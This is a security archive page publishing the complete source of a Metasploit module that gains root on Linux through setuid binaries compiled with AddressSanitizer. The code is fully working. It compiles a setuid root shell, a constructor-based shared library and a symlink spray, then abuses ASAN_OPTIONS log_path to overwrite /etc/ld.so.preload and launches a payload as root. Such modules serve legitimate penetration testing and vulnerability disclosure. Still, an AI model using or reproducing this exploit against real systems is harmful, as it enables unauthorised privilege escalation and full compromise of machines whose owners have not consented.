what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AddressSanitizer (ASan) SUID Executable Privilege Escalation

AddressSanitizer (ASan) SUID Executable Privilege Escalation
Posted Jan 23, 2019
Authored by Brendan Coles, infodox, Szabolcs Nagy | Site metasploit.com

This Metasploit module attempts to gain root privileges on Linux systems using setuid executables compiled with AddressSanitizer (ASan). ASan configuration related environment variables are permitted when executing setuid executables built with libasan. The log_path option can be set using the ASAN_OPTIONS environment variable, allowing clobbering of arbitrary files, with the privileges of the setuid user. This module uploads a shared object and sprays symlinks to overwrite /etc/ld.so.preload in order to create a setuid root shell.

tags | exploit, arbitrary, shell, root
systems | linux
SHA-256 | 0e6f740ce9bc200d846f84b085e1b15b388b872a85100b6499f36331dcd60d30

AddressSanitizer (ASan) SUID Executable Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'AddressSanitizer (ASan) SUID Executable Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems using
setuid executables compiled with AddressSanitizer (ASan).

ASan configuration related environment variables are permitted when
executing setuid executables built with libasan. The `log_path` option
can be set using the `ASAN_OPTIONS` environment variable, allowing
clobbering of arbitrary files, with the privileges of the setuid user.

This module uploads a shared object and sprays symlinks to overwrite
`/etc/ld.so.preload` in order to create a setuid root shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Szabolcs Nagy', # Discovery and PoC
'infodox', # unsanitary.sh Exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2016-02-17',
'Platform' => 'linux',
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [['Auto', {}]],
'DefaultOptions' =>
{
'AppendExit' => true,
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true
},
'References' =>
[
['URL', 'https://seclists.org/oss-sec/2016/q1/363'],
['URL', 'https://seclists.org/oss-sec/2016/q1/379'],
['URL', 'https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e'],
['URL', 'https://github.com/bcoles/local-exploits/tree/master/asan-suid-root']
],
'Notes' =>
{
'AKA' => ['unsanitary.sh']
},
'DefaultTarget' => 0))
register_options [
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable compiled with ASan', '']),
OptInt.new('SPRAY_SIZE', [true, 'Number of PID symlinks to create', 50])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir']
end

def suid_exe_path
datastore['SUID_EXECUTABLE']
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
chmod path
end

def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data

gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end

unless gcc_args.to_s.blank?
gcc_cmd << " #{gcc_args}"
end

output = cmd_exec gcc_cmd

unless output.blank?
print_error 'Compiling failed:'
print_line output
end

register_file_for_cleanup path
chmod path
end

def check
unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{suid_exe_path} is setuid"

# Check if the executable was compiled with ASan
#
# If the setuid executable is readable, and `ldd` is installed and in $PATH,
# we can detect ASan via linked libraries. (`objdump` could also be used).
#
# Otherwise, we can try to detect ASan via the help output with the `help=1` option.
# This approach works regardless of whether the setuid executable is readable,
# with the obvious disadvantage that it requires invoking the executable.
if cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include?('true') && command_exists?('ldd')
unless cmd_exec("ldd #{suid_exe_path}").to_s.include? 'libasan.so'
vprint_error "#{suid_exe_path} was not compiled with ASan"
return CheckCode::Safe
end
else
unless cmd_exec("ASAN_OPTIONS=help=1 #{suid_exe_path}").include? 'AddressSanitizer'
vprint_error "#{suid_exe_path} was not compiled with ASan"
return CheckCode::Safe
end
end
vprint_good "#{suid_exe_path} was compiled with ASan"

unless has_gcc?
print_error 'gcc is not installed. Compiling will fail.'
return CheckCode::Safe
end
vprint_good 'gcc is installed'

CheckCode::Appears
end

def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

unless writable? pwd.to_s.strip
fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable"
end

if nosuid? base_dir
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
end

@log_prefix = ".#{rand_text_alphanumeric 5..10}"

payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

rootshell_name = ".#{rand_text_alphanumeric 5..10}"
@rootshell_path = "#{base_dir}/#{rootshell_name}"
rootshell = <<-EOF
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
}
EOF
upload_and_compile @rootshell_path, rootshell, '-Wall'

lib_name = ".#{rand_text_alphanumeric 5..10}"
lib_path = "#{base_dir}/#{lib_name}.so"
lib = <<-EOF
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void init(void) __attribute__((constructor));
void __attribute__((constructor)) init() {
if (setuid(0) || setgid(0))
_exit(1);
unlink("/etc/ld.so.preload");
chown("#{@rootshell_path}", 0, 0);
chmod("#{@rootshell_path}", 04755);
_exit(0);
}
EOF
upload_and_compile lib_path, lib, '-fPIC -shared -ldl -Wall'

spray_name = ".#{rand_text_alphanumeric 5..10}"
spray_path = "#{base_dir}/#{spray_name}"
spray = <<-EOF
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
pid_t pid = getpid();
char buf[64];
for (int i=0; i<=#{datastore['SPRAY_SIZE']}; i++) {
snprintf(buf, sizeof(buf), "#{@log_prefix}.%ld", (long)pid+i);
symlink("/etc/ld.so.preload", buf);
}
}
EOF
upload_and_compile spray_path, spray, '-Wall'

exp_name = ".#{rand_text_alphanumeric 5..10}"
exp_path = "#{base_dir}/#{exp_name}"
exp = <<-EOF
#!/bin/sh
#{spray_path}
ASAN_OPTIONS="disable_coredump=1 suppressions='/#{@log_prefix}
#{lib_path}
' log_path=./#{@log_prefix} verbosity=0" "#{suid_exe_path}" >/dev/null 2>&1
ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "#{suid_exe_path}" >/dev/null 2>&1
EOF
upload_and_chmodx exp_path, exp

print_status 'Launching exploit...'
output = cmd_exec exp_path
output.each_line { |line| vprint_status line.chomp }

unless setuid? @rootshell_path
fail_with Failure::Unknown, "Failed to set-uid root #{@rootshell_path}"
end
print_good "Success! #{@rootshell_path} is set-uid root!"
vprint_line cmd_exec "ls -la #{@rootshell_path}"

print_status 'Executing payload...'
cmd_exec "echo #{payload_path} | #{@rootshell_path} & echo "
end

def cleanup
# Safety check to ensure we don't delete everything in the working directory
if @log_prefix.to_s.strip.eql? ''
vprint_warning "#{datastore['SPRAY_SIZE']} symlinks may require manual cleanup in: #{pwd}"
else
cmd_exec "rm #{pwd}/#{@log_prefix}*"
end
ensure
super
end

def on_new_session(session)
# Remove rootshell executable
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @rootshell_path
else
session.shell_command_token "rm -f '#{@rootshell_path}'"
end
ensure
super
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close